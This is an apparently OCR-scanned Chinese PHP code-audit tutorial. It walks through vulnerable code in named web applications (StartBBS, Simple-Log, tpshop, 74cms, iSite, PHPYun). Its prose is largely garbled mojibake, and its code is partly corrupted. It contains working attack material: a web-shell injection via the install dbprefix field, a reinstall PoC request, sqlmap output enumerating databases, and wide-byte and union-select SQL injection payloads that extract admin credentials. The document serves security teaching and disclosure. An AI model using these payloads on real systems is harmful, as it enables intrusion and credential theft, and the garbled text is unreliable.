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2.2 $GLOBALS %8
REREFENEREEE , SRRHMTEXNLREFEEREE.

2.3 get_defined_functions(void)

SRENFTE BEE N RIREL B2 RERREFN A E X IR,
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$hhh=get_defined_functions();var_dump($hhh['user']);

2.4 get_defined_constants(void)
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2.5 get_declared_classes(void)

REIFFEA AR | BERFSHBFENAIR.

2.6 get_included_files()
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$_SERVER

$_REQUEST

$_POST
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1 $GLOBALS — 5|R£BFRE+H I ANEEREE

$GLOBALS Xfh£FTEATFE PHP HAFHNEEME S RNEFEET
2 ( NREEZEFE ) .

PHP £%79 $GLOBALS[index] N HFFETHIEEREE. £E
B FIEEERRE.

THERFIFRER T IEEREREETE $GLOBALS :

ST

<?php

$x = 75;

$y = 25;

function addition() {

$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];

}

addition();

echo $z; 7>
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2 $_SERVER

$_SERVER X#MiE2FZERFATIRL. BEMMNAIBNER.
THEFIFRER TR $_SERVER FRIRLETTE :
S]]

<?php echo $_SERVER['PHP_SELF'];

echo "<br>";

echo $_SERVER['SERVER_NAME'];

echo "<br>";

echo $_SERVER['HTTP_HOST'];

echo "<br>";

echo $_SERVER['HTTP_REFERER'];



echo "<br>";

echo $_SERVER['HTTP_USER_AGENT"];

echo "<br>";

echo $_SERVER['SCRIPT_NAME';?>
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HTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
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$_SERVER['HTTP_ACCEPT']

IRERE HRTERATERL.

$_SERVER['HTTP_ACCEPT_CHARSET']
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$_SERVER['HTTP_HOST']
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$_SERVER['HTTP_REFERER']
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$_SERVER['HTTPS']

FiEd e HTTP MY EIEIA.,

Al

$_SERVER['REMOTE_ADDR']

ESE S RIRERIA A 1P tbik,

5

$_SERVER['REMOTE_HOST']

IRENEHRITRENRFRENS.

$_SERVER['REMOTE_PORT']

IREIFFES HERE Web BRSSSEFERNIROS.

$_SERVER['SCRIPT_FILENAME']

REHFTHUTIIARILESTERZ.

$_SERVER['SERVER_ADMIN']

Z{EISAT Apache RS BSECE {4
B9 SERVER_ADMIN £%%,

$_SERVER['SERVER_PORT']

Web BRS3EeEMRNILO. BUAMERN "80" .

$_SERVER['SERVER_SIGNATURE']

REIRSS SRR AFEEN 2.

$_SERVER['PATH_TRANSLATED']

LRIEAEHRR (IHERER ) EFRIERRE.

$_SERVER['SCRIPT_NAME']

IRE|SEIHARAIRE.

$_SERVER['SCRIPT_URI']

IREZHEIREAR URL
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B Mud : rips-scanner.sourceforge.net

PHP 51y , FENIE , EEMREE| wwwroot HilF 7. ANEEH
BENEEINE |, & E&K PHP BEE | IR IBHITEATAIATEIZ
BEXA—R.

RIPS ML TR IR I ERN BB ERR

1B B AR ERNREH TIRER(BI0:mysql_query()

RIPS A9 , MERNENRRGREEELSE —RERN SRR E
KL , mysql_query() 2B ENRIZERE , REREBEEREN
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IMAER BIISRIRE.
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($_GET,$_POST,$_COOKIE)

"ARFBAN—IEIEREE" | ARSREANRE  BFEIREAN
REFERSBEERANAFNBASIRRBEMIFLIE , RIPS XX Lg%
FURSHTIRER | FHIMTEEANGUERE (mysql_query() ZBIBIRE
XEFH{THALE (addslashes () S RHMNX REURRE S F AR H.
SN LRSER , REBFER(IEER IR —YRRFH KA
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RXAME, EBHEA
ok, A
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B MG : phpxref.com

18R PHPxref BEMIARIIFHTF | BeeBE—1ER (10
Wordpress ) HFETERNRE. TE. EESHHRCR .
Ap— HTML IRZI3R | (RETLIBRIAMEIX M IR FPHEIE N REL
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B M:www.cnseay.com
XE—AREEHEREENFEEF-BEEHEITRA.
IZhRA RS2 PHP | imEASNE ASPX. ASP. JSP B{RSEITINRE |
FHM 4 EHURERE | BINMERINEBEX R ES |, 5fE

RIEH AR,
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() FHBR—FEEVRIRE ?

A.<?php code; ?>

B.<? code; ?>

C.<script language="php"> Code; </script>
D.<% Code; %>

0 php REBFIERUGES
ASiER

B.fRRERL

CFBEBEBR

D FBHBEIT R

$_POST $_GET $_REQUEST X ?

HAZRKRBET ?

REHETRESTRE ?
B —EAT , BERBERERATE  XERTL.
qq TEESMREREE , TARERNBIARTAMET 4.

B—1 B R UE IR,
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BHEER—DER SRSk install £, TELENMHENLE
HHIERR,

Bt EAREEWTER— lock X4 SFIMTFEFE R T
T WMERFEXA lock T HSBHT. XEBEESL SRE—T%
N HZ B HIAYEIRE,

liml

FFiE #2118 1% StartBBS B & getshell

V£ : phithOn
REFRRIWRERTEZ T installlock , —f&#9 cms AT RHLE
WELERSAEBRTEM—DRMRINMY | TREABDRZERARN
BHE , BIASIEN , IREFRTEXNEHRT "BlREERE" .
[RARGZZIRBEMAERT, BFAIEEIZRMAE
/app/controllers/install.php F , BEER2EAER :

class Install extends Install_Controller
{
function __construct ()
{
parent::__construct( ) ;
$this->load->library ('myclass') ;
$file=FCPATH.'install.lock';
if (file_exists ( $file) ) {
$this—>myclass->notice ( ‘alert (" & 4t O %2 i
") swindow. location.href="".site_url ( )."";');

b
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NSRBI EREIZE install.lock SATSH javascript BIA &R
FF "®2REXET" | REHkEE. EEXMMARRERBERK , X
MREBPREFAILNETT , HAERIRET—4 window.location.href
HUFIEEIT,  (this->myclass->notice()EiRBELLETTAIED )

Al EETE , MEEEEIRENRE :

public function step( $step)

{
$datal 'step']=$step;
if ($step==1 11 $step==2){
$data[ 'permission'] = $this—>_checkFileRight ( ) ;
$this—>load->view ( 'install’, $data ) ;
b
if ($step==3){
$this—>_install_do ( );
b
b

function _install_do ( )

{
$data['step']=3;
if ($_POST){
$dbhost = $this—>input->post ( 'dbhost’) ;
$dbport = $this—>input->post ('dbport) ;
$dbname = $this->input->post ('dbname’) ;
$dbuser = $this->input—>post ('dbuser') ;
$dbpwd =

$this—>input->post ('dbpwd") ? $this—>input->post ('dbpwd’ ) :";
$dbprefix = $this—>input->post ( 'dbprefix’) ;
$userid = $this—>input->post ('admin’);
$pwd = md5 ( $this->input->post ('pwd') );
$email = $this—>input->post ('email' ) ;
$sub_folder = '/'.$this—>input->post('base_url')."/";

$conn =
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mysgl_connect ( $dbhost.":".$dbport, $dbuser, $dbpwd ) ;

if (1$conn) {

die (' ToiE R 2 M

PENRS 2%, WA P A M R ) 5

b

if ( $this—>input->post ( 'creatdb’) ) {

if ( | @mysql_query ('CREATE

DATABASE IF NOT EXISTS '".$dbname) ){
die ("1 %€ FIEHE E (".$dbname.") R =B RN, 1B H A7

B EARE) 5

b
if ( |mysql_select_db ( $dbname,$conn) ) {
die ( $dbname. ¥ 4fE FEANAFLE, 156!
AR EHIES. )
b
$sql = file_get_contents (FCPATH.'app/config/startbbs.sql") ;
$sql = str_replace ("sb_",$dbprefix,$sql ) ;
$explode = explode (";",$sql);
$data['msgl1']="6IE%E".$dbname. " KT, ERGE......";
foreach ($explode as $key=>$value){
if ( lempty ($value) ) {
if (trim ( $value ) ) {

mysql_query ( $value.";" ) ;

b
b
$password = $pwd;
$ip=$this- >myclass->get_ip ( ) ;
$insert= "INSERT INTO
".$dbprefix."users ( group_type,gid,is_active,username,password,email,regtime,ip )
VALUES ('0',"1","1","".$userid."","".$password."","" .$email."","" .time ( ) ."","".$ip."") ";

mysgl_query ( $insert) ;
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mysql_close ( $conn ) ;

$data['msg2']=""%A5E i, IEAEORAFICE AT

S ;
$dbconfig = "."\$active_group = 'default’;\n"
."\$active_record = TRUE;\n"
."\$db['default']['hostname'] = "".$dbhost."';\n"
."\$db['default']['port'] = "".$dbport."’;\n"
."\$db['default']['username'] = "".$dbuser.”";\n"
."\$db['default']['password'] = ".$dbpwd."';\n"
."\$db['default']['database'] = ".$dbname."’;\n"

‘mysql’;\n"
" $dbprefix."';\n"

."\$db['default'][ 'dbdriver']

."\$db[ 'default'][ 'dbprefix']
."\$db[ 'default']['pconnect'] = TRUE;\n"
."\$db[ 'default']['db_debug'] = TRUE;\n"
."\$db['default']['cache_on'] = FALSE;\n"
."\$db['default']['cachedir'] = ‘app/cache';\n"
."\$db['default']['char_set'] = 'utf8';\n"

."\$db['default']['dbcollat'] 'utf8_general_ci';\n"

."\$db['default']['swap_pre'] = ";\n"
TRUE;\n"
."\$db['default'][ 'stricton'] FALSE;";
$file = FCPATH.'/app/config/database.php';

."\$db['default'][ ‘autoinit']

file_put_contents ( $file, $dbconfig ) ;
/ /154% config 4
if ( $sub_folder ) {

$this- >config— >update ('myconfig','sub_folder', $sub_folder);
bs
$encryption_key =

md5 (uniqid ( ) );
if ( $encryption_key ) {

$this- >config— >update ( 'myconfig','encryption_key', $encryption_key ) ;
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¥
$data['msg3']="{RIFHC
BITER!

touch ( FCPATH.'install.lock") ;
$data['msg4']="GI B E %R LAF install.lock
BRI
$data['msg5']=""2:2%
startbbs I ! "
b

$this—>load->view ( 'install’, $data ) ;

b

% step BREIISEN 3 BF , MHUTRERE install_do() , XMERES
BYIA T EURRE | FHEEREREXXHENT
“/app/config/database.php” . T2 , EJAILUGE—T#REEERE
B—OIEBANBIXMIENHE,

MBS XPMREIRWTIFS post #E -

$dbhost = $this->input->post(‘dbhost’);

$dbport = $this->input->post('dbport’);
$dbname = $this->input->post(‘'dbname’);
$dbuser = $this->input->post('dbuser’);

$dbpwd =
$this->input->post(‘dbpwd')?$this->input->post('dbpwd’):";
$dbprefix = $this->input->post('dbprefix’);
$userid = $this->input->post(‘admin’);

$pwd = md5($this->input->post(‘pwd"));

$email = $this->input->post('email');

$sub_folder = '/.$this->input->post(‘base_url’)."/";

Hrh dbhost, dbport, dbname, dbuser. dbpwd &5ABEREFEELS |

-4 -




ELERIARENM LSS | M userid, pwd. email, sub_folder ZEZE A
HUERER , AENEESUY. FRLARRIT dbprefix 7, ATLARRATRTLAX
FEMIEIXNFRR

dbprefix=sb_";@eval ($_POST[101]);$xxx="

K, EARILFE—T

RAAIRT R

Simple-Log 18X KA &R 4 H 2 IFIH
B HkT

E2EMER install SHEFEEIER T | install/index.php FREFRTLA
ERITFE mysql WWEFIEERS S5 simple-log &F#HZ%E AT header()
REHASERZEHORB |, ALtwREHI.

$setup=! empty ($_POST['setup’ ]) ?$_POST['setup']: 'check’;
if (file_exists (PBBLOG_ROOT.'home/data/config.php’ ) )
{
require_once (PBBLOG_ROOT.'home/data/config.php’ );
b
7/ RELL post 7 RAEAZ setup=finish i AT ik N\ 22 25 7t
if ($install_lock&& $setup ! ='finish")
{
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echo "$val ";

exit;

/ /X RIS B C mysql 2048 2 1EEE R
$dbhost=$_POST[ ‘host'];
$dbuser=$_POST[ 'dbuser'];
$dbpw=$_POST[ 'dbpass'];
$dbname=$_POST[ 'dbname’];
$charset = 'utf8';
$db= new cls_mysql( );
if ($db->connect ( $dbhost,$dbuser,$dbpw,$dbname,$charset, $pconnect) )
{

$error[1= " AR 5
b
if (empty ($_POST[ 'dbprefix']) )

{
$dbprefix="fb_";

$dbprefix=$_POST[ 'dbprefix'];

/ /HE5Z ) admin_user A1 admin_pass & 5 KA web 5 B G 1K -5 251G
$admin_user=$_POST[ 'admin_user'];

$admin_pass=$_POST[ 'admin_pass'l;

$blogname=$_POST[ 'blogname'];

$blogdesc=$_POST[ 'blogdesc'];

$blog_keyword=$_POST[ 'blogkeyword'];
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/1 Z IS N E SRS R B 2, P LS XA simple-log 4 2K
A5 FH PP 4R 2 F) Kl

PoC:

POST http://xxx/install/index.php HTTP/1.1

User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; Edition IBIS; zh-cn)
Presto/2.10.229 Version/11.64

Host: www.xxx.com

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,

image/webp, image/jpeg, % MH&...

setup=finish&host=mysql F 11k & dbname= %1 /£ 4 &dbuser=1K 5 &dbpass =% 15

&admin_user="& H 71 1K 5 &admin_pass= & 5 21 &blogname = i 7 4
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A RENDTAG, B R AR b 22 30D, Fr PART AN 7 4
o

b PG MR TROX S S, S e

saL FEA IR

SQLEANILE ( SQL Injection ) , BIFREANKE , SQLIEAR
web FFEFRENN—FZLRH. SQLIENKETLARRNEIERE
REEURMER | SEF BEUREAMFERTIRIIER, | S-S —
ZYERIRE  EEB R BEUEET I ER AR SINR

WMAEFENT D /755, BB7<F0R ? AJLAS% sqlmap ERTHY

payloads
01_boolean_blind.xml 02_error_based.xml 03_inline_query.xml
04_stacked_queries.xml O5_time_blind.xml 06_union_query.xml

HIGEA L, A —IENESE
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e HEEEH TR
IR o . R
G TN RATXEET B
£ \ DRt T, REET
T\ A EERE

O Gl

WiiNews(Mobile 37 [E % 4t)

fE&: BAH

FoREREIRAVER -

$id=sqlReplace(Trim($_GET['id"]));

$sqlStr="select * from wiinews_news where news_id=$id";

$result = mysql_query($sqlStr) or die ("EIGELN , iBIEE SQL B,
4®E3S : 1010");

$row = mysql_fetch_array($result);

XEEIE$_GET Z/E447 sqlReplace()iXMEREKLLIR, #AT , trim 2
HABECHREFMKE.

REMEANT sql &iF (BfEZZfE  BIHFEES sqlReplace()ix/
BREOSS_GET['id'] 7 —L4+AkbEE

function sqlReplace($str)

{

$strResult = $str;
if('get_magic_quotes_gpc())

//AN8R gpc iRBFRNE

{

$strResult = addslashes($strResult);

/143
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}
return HTMLEncode($strResult);

//gpc FH9IE , iR[E] HTMLEncode()
}

IXEEFIMTINER gpc IREFBANERT php WERE addslashesf i#17
QIR WNRFFEHHENA HTMLEncode SEAME, IXEBAKEESRIRHHIX D
BRI

function HTMLEncode($str){

if (lempty($str)){

$str=str_replace("&","&",$str);

$str=str_replace(">",">",$str);

$str=str_replace("<","<",$str);

$str=str_replace(CHR(32)," ",$str);

$str=str_replace(CHR(9)," ", $str);

$str=str_replace(CHR(9)," ", $str);

$str=str_replace(CHR(34),""",$str);
$str=str_replace(CHR(39),""",$str);
$str=str_replace(CHR(13),"",$str);

$str=str_replace(CHR(10),"",$str);

}

return $str;

}
BET REETSIS 18, FIREIEEESEN and select RIREY

' ;‘\.r "7 ’x\.
e

PRIGIXN B AR
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5 JENEFMARKSCBETET  MEEARSRI

FREAN PLEHEESARIRANA RRLSRE
ATRE SRR BARE.

, 4
RIT RS2

L

RERICTIT BN s R TR RRRZTH
sqlinject URL

MEASIRRTIZREEER B AT,
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tpshop EA

£ . Dark' Evil

S MR IFUR 73 -
File:index.php
if (extension_loaded('zlib")){
ob_end_clean();
ob_start('ob_gzhandler");
}
// 1S MPHPIAE
if(version_compare(PHP_VERSION,'5.3.0','<")) die('require
PHP > 53.0!");
/&R B EZETPshop&R %
if(file_exists("./Install/") && !file_exists("./Install/install.lock")){
if($_SERVER['PHP_SELF'] != "/index.php'){
header("Content-type: text/html; charset=utf-8");
exit("BEEHBIRE R TR W:<br/>
www.xxx.com/index.php 1Eff <br/>
www.xxx.com/www/index.php iR HEEEAEBEESR, BIR
BigBiR B REHRS, ATMEERE R apache B ENEE—T
Bpar);
}
header('Location:/Install/index.php");
exit();
}
error_reporting(E_ALL A E_NOTICE);//E-kZ%x E_NOTICE Z4b
HFrEERER
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/] FEETRDT BINFFRMERITE SEMBRIREEIR Hfalse
define('APP_DEBUG' false);

/] EXNFEBER

define('APP_PATH',"./Application/");

/] EXEGER

define('PLUGIN_PATH','plugins/");

BIENEFRERA
define('APP_PATH',"./Application/");

FREXERTEELERBIISUG
File:Application/Home/Controller/ApiController.class.php
Code:20
class ApiController extends Controller {
/%
* FREX
*/
public function getRegion(){
$parent_id = I('get.parent_id");
$selected = I('get.selected’,0);
$data =
M('region’)->where("parent_id=$parent_id")->select();
$html = '
if($data){
foreach($data as $h){
if($h['id'] == $selected){
$html .= "<option value="{$h['id']}’
selected>{$h['name']}</option>";
}
$html .= "<option
value="{$h['id"]}'>{$h['name']}</option>";
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}
echo $html;
}
XEBi@d ('get.parent_id’)’ X2 thinkphp BS— 5% , i®id GET
W parent_id XN E

SRENRY parent_id Z 5 BEiEH A\ T EURESS -

$data = M('region’)->where("parent_id=$parent_id")->select();

XEFEEN

demo A :

sqlmap git:(master) X python sglmap.py -u
"http://demo2.tp-shop.cn/index.php?m=Home&c=Api&a=get
Region&parent_id=2" -p parent_id -v 3

776e45557a,0x7162767171) ,NULL ,NULL ,NULL-- ZkHC
Vector: UNION ALL SELECT [QUERY],NULL,NULL,NULL[GENERIC_SQL_COMMENT]

web appli&afion £echnology: PHP 5.6.8
back end DBMS MySQL 5

'N-j [PA\LUAD] 2) UNTON AL_ sELFtT (OFFAT(OXTITQ*KG Pl F“ULL((A%T(sthﬁmu

ime AS CHAR),@x20),0x7162767171) ,NULL ,NULL,NULL FROM INFORMATION _SCHEMA.
A-- BuGg

available databases [5]:
[*] demo_tpshop

[*] demo_tpshop2

[*] demo_tpshop3

[*] information_schema
[*] test

HLPRBE—T , ABHTELMEEEENE. AR5 php
Bz ERRNELRERENE  HXCEFNATERA | X
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FHRFEFIRFIER | FF 5% TIRBREXEEFINR. fMe
RRFARE.

%?Bphp%ﬁﬂ%ﬁﬁ@ K

ucns A RGAFENERSBEREEES

1E#&: PNt

BEREFURIERIVREEN AIFERAEZ GBK #i32
ftbrYEE(S (BRER EFRFBRNENIHMRIEEERER T iconv KiBHREAZ
T SRAVEIRmIDEE AR utf8

FTUARIBEFFREANRIRINE T (BRITIETENIR 3.2 IR ZED
EHTHY 3.2 bR plus BREZ TN FNERFARRTIEFRT .
o ERPBEELENIE~

File: \plus\ajax_officebuilding.php line:16

-37-



$_GET['x' 13K B {fi %5 $alphabet, Tfij$alphabet B AT T SQL EifiEA) 1.
B B R TN



exp:
plus/ ajax_officebuilding.php ? act=alphabet&x=11%d5'% 20union% 20select%201,2,3,c
oncat (0x3C2F613E20),5,6,7,concat (Ox3C623E5ESF5E203C2F623E,admin_nam
e,0x3A,pwd,0x3C623E205E5F5E3C2F623E ) ,9%20from%20gs_admin%23

EAEBE B hash AR KEZRIIZEN {7 +H1H—1
ERIRRLHE....

$alphabet: FH NAKEE
o IREEEREHE

File:\admin\admin_login.php (42 17)

elseif ($act == 'do_login')

{
header ( "Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ( "Cache-Control: no-cache, must-revalidate" ) ;
header ( "Pragma: no-cache" ) ;
$admin_name = isset($_POST['admin_name']) ?

trim ($_POST['admin_name']) : "; //&idjE~vr~~
$admin_pwd = isset($_POST['admin_pwd']) ?
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trim ($_POST['admin_pwd']) : ";
$postcaptcha = isset ($_POST[ 'postcaptcha']) ? $_POST['postcaptcha’] :

$remember = isset($_POST['rememberme']) ?

intval ($_POST['rememberme']) : O;

if ($admin_name == ")

{

header ( "'Location: ? act=login&err="".urlencode (' T &4 RAENZ") ) ;
exit();

b

elseif ($admin_pwd == ")
{
header ( "Location: ?act=login&err=".urlencode (' ZE A EENZE") ) ;
exit( );

b

$captcha=get_cache ( 'captcha') ;

if Cempty ( $postcaptcha) && $captchal verify_adminlogin']=="1")

{
header ( "'Location: ? act=login&err="".urlencode ('K iFAL A g A4S
DD
exit();
b
if ($captchal verify_adminlogin']=="1" &&

strcasecmp ( $_SESSION[ 'imageCaptcha_content'],$postcaptcha) | =0)

{
write_log ( "I IEALIE S 457", $admin_name, 2 ) ;
header ( "Location: ?act=login&err=".urlencode ('¥&ilF i3 545 %
)3
exit();
b
elseif ( check_admin ( $admin_name,$admin_pwd) ) //><EER % H
ANHEET

{
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update_admin_info ( $admin_name ) ;
write_log ( " J)%& %", $admin_name ) ;
if ($remember == 1)
{
$admininfo=get_admin_one ( $admin_name ) ;
setcookie ( 'Qishi[admin_id]', $_SESSION['admin_id'],
time ( ) +86400, $QS_cookiepath, $QS_cookiedomain ) ;
setcookie ( 'Qishi[admin_name]’, $admin_name,
time ( ) +86400, $QS_cookiepath, $QS_cookiedomain ) ;
setcookie ( 'Qishi[admin_pwd]',
md5 ( $admin_name.$admininfo[ 'pwd'].$admininfo[ 'pwd_hash'].$QS_pwdhash ) ,
time ( ) +86400, $QS_cookiepath, $QS_cookiedomain ) ;

b
b
else
{
write_log (" 4 B RD AR 1R ", $admin_name,2 ) ;
header ( "Location: ?act=login&err=".urlencode ('F " 4 B 25 i 4
=) )3
exit();
b
header ( "Location: admin_index.php" ) ;
b

$admin_name 233 | check_admin E%cib# .
4B T check_admin B%x:
\admin\include\admin_common.fun.php (197 17)

function check_admin ( $name,$pwd )

{
global $db,$QS_pwdhash;

$admin=get_admin_one ( $name) ; //SGIEFEF name 17 N T IXAS R EGHEAT T
— IR
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$md5_pwd=md5 ( $pwd.$admin['pwd_hash'].$QS_pwdhash ) ;
$row = $db->getone ("SELECT COUNT(*) AS num FROM
".table ('admin')." WHERE admin_name='$name’' and pwd ="".$md5_pwd."" ");
/ /BRI
if ($row['num'] > 0)<
return true;
Telse{

return false;

R AP 1 B A
7. RAHE

BE&%E get_admin_one FREL:

\admin\include\admin_common.fun.php (237 17)

function get_admin_one ( $username ) {

global $db;

$sql = "select * from ".table ('admin')." where admin_name =
" $username.”’ LIMIT 1"; //[AFEEREE T

return $db->getone ( $sql) ;

get_admin_one BREFN check_admin REEEEEMTAETIA T
&Y POST FFk#% addslashes RIS SIS —R (BRERFZFTEANXLEED

[=Nr
EIFL~~
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B##Mm admin_login.php?act=do_login #3i&ELAT POST iEAIFtAE
BEHEET ~~ SRRFEEEEKE
admin_name=fuckyou%d5' or 1=1%23&admin_pwd=1

isitecvs JLALYE ST IR

TE#: 1xj616
File:/isite/components/messages/messages.fe.php line:103
if ($form->status == TFORM_STATUS_GETED_VALID){

//EAN RN RGNS (R B R B A2

$arr = $form->getValues ( );
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/ / BEERBR RE E
$tos = explode (',",trim( $arr['t0']) );
7/ R, A
$noExistsMenber = array ( ) ;
$toMenbers = array( );
foreach ($tos as $menber){
$i =$this—->DBE->getOne ( "select 'id" from #__user where
‘name’='$menber'’" ) ;
//—BF X - AERA L E, HEEWARIEESN T, US4 R
B R T RN TR LA name” ="$menber' 1) 51 5 AT LUR B RI/E A (LAAY int
AP ARIEIL T inval, TIIX N2 string T LU BL.5] 5)
if Cis_null ($i) or empty ($i) ){
$noExistsMenber[] = $menber;
//id R EATIR B R] LAZE 51
Yelse{
$m['name'] = $menber;
$mlid'] = $is
$toMenbers[] = $m;
b
b
if ( | empty ( $noExistsMenber) ) {
addGlobalNotice ( "LA R fl P ASFE7E: ".implode (',',$noExistsMenber) ) ;
Yelse{
$msg['tos'] = $arr['to'];
$msg['subject'] = $arr['subject'];
$msg['content’] = $arr['content'];
/NG RIRIERIEI T, SEhr B2 Bt LT REN T, (AR B 7 2k
sendMessage 1015
$mMessage->sendMessage ( $toMenbers,$msg ) ;
$this—>flash ("I, K IE RIS ,bu (1,'messages’,'inbox’) ) ;
b
AN AR AR B ) SR B R
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3 1xi616 {17

‘? hiE TN EE R TR A SRS
SRV BN TR0 B MRS B MERHTAUS F.... SIE : 051068868675 {5 : 051068868670

BATHE REER ST BEREN il LR

O ewEw | & serviEts
2 Wbt S = ]
shrEE ERHAER
w0 il
B 2z
n& " 22

WWW.Wooyun.org

L FIEE
/isite/components/links/links.be.php line: 64
if ($form->status == TFORM_STATUS_GETED_VALID ) {
$newCat = $form->getValues ( );
if ($id==0) {
//create category
//check name
$name = $newCat['name'l;
$nameUsed =
$this—->DBE->getOne ( "select count( *) from #__link_category where
‘name’='$name" ) ;
if ($nameUsed ) {
$form->status =

TFORM_STATUS_GETED;

TERMTRESISHT
TEEERRT  (BRXEE—RBH | B2

$tos = explode (',",trim($arr['t0']) ) ;
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XAEEESETE T | GiEFRIN T /IVNER
BRERHTAED

File:/isite/components/messages/models/message.php A php
function sendMessage ( $to, $message, $type=null,$newCall=1) {
//RIA RS P R BAEE S, XA L
if (isset ($to['name']) or is_string ($to) ) {
if (is_string ( $to) ) {
$to['name'] = $to;
b
if ( lisset ($to['id']) ) {
/R id W, R ZRTHEEST sQL ik [Al, BHig b IER N %R HARH T id
$to['id'] = $this->_db->getOne( "select ‘id" from #__user where
‘name’='$to[name]™" ) ;
b
// X SELECT —il#, Aid name M2 EH ] name, X —GJHgFH T
global $gUser;
$message['to'] = $to['name'];
$message['to_id'] = $to['id'];
$message['from'] = $gUser->name;
$message[ 'from_id'] = $gUser->id;
$message|[ 'create_time'] = TIME_STAMP;
$message['type'] = Stype;
$this->insert ( $message ) ;
/BB A, ATRKE—OA, EHATUAERE T ! to_id B2 RATIE AT
SR, MESmERRITER!
$this->_db->execute ( "update #__user set
‘new_msg_count ="new_msg_count +1 where ‘id’=$message[to_id]");
if ($newCall>0) {
$message['to'] = ";
$message['to_id'] = O;
$this->insert ( $message ) ;

$newCall--;
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b
Yelse if(is_array ($to) ) {
foreach ($to as $sto){
$this— >sendMessage ( $sto, $message,null,$newCall ) ;
b
b
b

FA -
E—T | S RPO-IHREE-RER B link BREBAYENE
KEIRBEH AN

S +ER T

test' and 1=2 union select password from flexi_user where
id=1#

o0, HE)@HE T
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ARy R

PHPYun XML SE4&VEAN

B RK

File : /weixin/model/index.clss.php
Code: 13

class index_controller extends common

{
public $MsgType;

public function index_action()

{
if($_GET["echostr"])
{
$this->valid();
}else{

//if(!$this->checkSignature()){echo "
ey kiFE AL "sexit(););

$postStr =
$GLOBALS["HTTP_RAW_POST_DATA"];

if (lempty($postStr))

{
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$postObj =
simplexml load_string($postStr, 'SimpleXMLElement',
LIBXML_NOCDATA);
$fromUsername =
$postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$times = time();
$MsgType = $postObj->MsgType;
$topTpl = "<xml>

<ToUserName>< ! [CDATA[%s]]></ToUserName>

<FromUserName><! [CDATA[%s]]></FromUserName>

<CreateTime>%s</CreateTime>

<MsgType>< ! [CDATA[%s]]></MsgType>";

$bottomStr =
"<FuncFlag>@</FuncFlag></xml>";

if($MsgType=="event"')

{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{

$centerStr =

"<Content><! [ CDATA[ Wl & 5y

".iconv('gbk','utf-8',$this->config['sy_webname'])."! \n1: &r[L,
HERE R UHE] . [ SE] . [Fx HE XX AR ] AR

FOHRAL\N 058 5 (UK 7 AR T6 B8 22 KE RZ Th RE \n RGBS AU RIE L 11></Content>";
$this->MsgType =
"text';

}elseif ($MsgEvent=="CLICK")
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$EventKey =
$postObj->EventKey;

if($EventKey=="myaccount'){

$centerStr = $this->bindUser($fromUsername);

Yelseif($EventKey=="FRHIHE")

$centerStr = $this->myMsg($fromUsername);

Yelseif($EventKey=="THRi&i% "

$centerStr = $this->Audition($fromUsername);

Yelseif($EventKey=="'HHEE")

$centerStr = $this->lookResume($fromUsername);

Yelseif ($EventKey=="HI# ")

$centerStr = $this->refResume($fromUsername);

Yelseif($EventKey=="HEFFHIRLL ")

$centerStr = $this->recJob();

Yelseif($EventKey=="HR{73H2Z ") {
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$centerStr = "<Content><![CDATA[ BLEE I &I, WAL, AT 4

A

MERBEFHREFEMNRLMEE. \n @: [£H]). [FExE 28], [ xx
]l ]1></Content>";

$this->MsgType = 'text';

¥
}elseif($MsgType=="text"'){
if($keyword){

$centerStr =
$this->searchJob($keyword);

}

$topStr = sprintf($topTpl,
$fromUsername, $toUsername, $times, $this->MsgType);

echo $topStr.$centerStr.$bottomStr;

RIBE AR, ARSI
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RO, — A AT y T
fe. Sl R i L

FERBEDIT— TEX—EMSMsgType, [SEFIMT echostr 2
HiEd GET AR , (NRENEA valid()73E
XEBAAFETEE , SRt valid) A2l
Code:482
private function valid()

{
$echoStr = $ GET["echostr"];
if($this->checkSignature()){
echo $echoStr;
exit;
¥
}

FRHXS_GET[“echostr”|; [F{EL SR f5
1@ 1 checkSignature )AL P -4k 4%
PR T R AT A o

private function checkSignature()

{
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$signature = $_GET["signature"];
$ GET["timestamp"];

$nonce = $ GET["nonce"];

$timestamp

$token = $this->config[ 'wx_token'];

$tmpArr = array($token, $timestamp,
$nonce);

sort($tmpArr, SORT_STRING);

$tmpStr = implode( $tmpArr );

$tmpStr = shal( $tmpStr );

if( $tmpStr == $signature 8&&
$token!=""){
return true;
}else{
return false;

}
FTERRNBER  i£8%token EBAALZT. MIXEA wx_token
AR ATH , LU BEE—IREMAARRKTD , NzE false,

FTLAXERERHTE 7 | valid )X 5 ARk EE 2T
RRMEAET -
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (lempty($postStr))
{
$postObj =
simplexml_load_string($postStr, 'SimpleXMLElement’,
LIBXML_NOCDATA);
$fromUsername =
$postObj->FromUserName;
$toUsername =

$postObj->ToUserName;
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$keyword =
trim($postObj->Content);

$times = time();

$MsgType = $postObj->MsgType;

$topTpl = "<xml>
<ToUserName>< ! [CDATA[%s]]></ToUserName>

<FromUserName>< ! [CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>

<MsgType>< ! [CDATA[%s]]></MsgType>";

$bottomStr =
"<FuncFlag>0</FuncFlag></xml>";

$GLOBALS[ “"HTTP_RAW_POST_DATA" ]

RPHPHEH— N ERER.
‘BEHT, PHPTETE RS 'JEI’J
Content-TypeIEH T, #
POST:iEI:éEKJ%‘tﬁETE5 FEHIIE N

FTLAX EBSRENRY post 1&45 T T8, REH T T Il $postStr 25
FAZ , NRAFZ=NFEA simplexml_load_string()753% , #8 XML
FRBHEANRE,
AEBINRERELHEEEEfromUsername &

PERAE TR
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B B X A KBRS RAMA L

if($MsgType=="event')
{

$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{

$centerStr =

"<Content><! [ CDATA[ Wil 4 ey
".iconv('gbk', 'utf-8',$this->config['sy webname'])."!\n
1. Tl blEERIE e [HE) . [ HE] . [EY HE
XX AR ] EHREARZLIRAL\n ZF5E K P AR5 3 2 A5 R DI e \n &
WHERISSIE! ]]></Content>";

$this->MsgType =
"text';

}elseif

($MsgEvent=="CLICK")

$EventKey =
$postObj->EventKey;
if($EventKey=="myaccount"){
$centerStr =
$this->bindUser ($fromUsername);
}elseif($EventKey=="FLHIHE ")

$centerStr =
$this->myMsg($fromUsername);
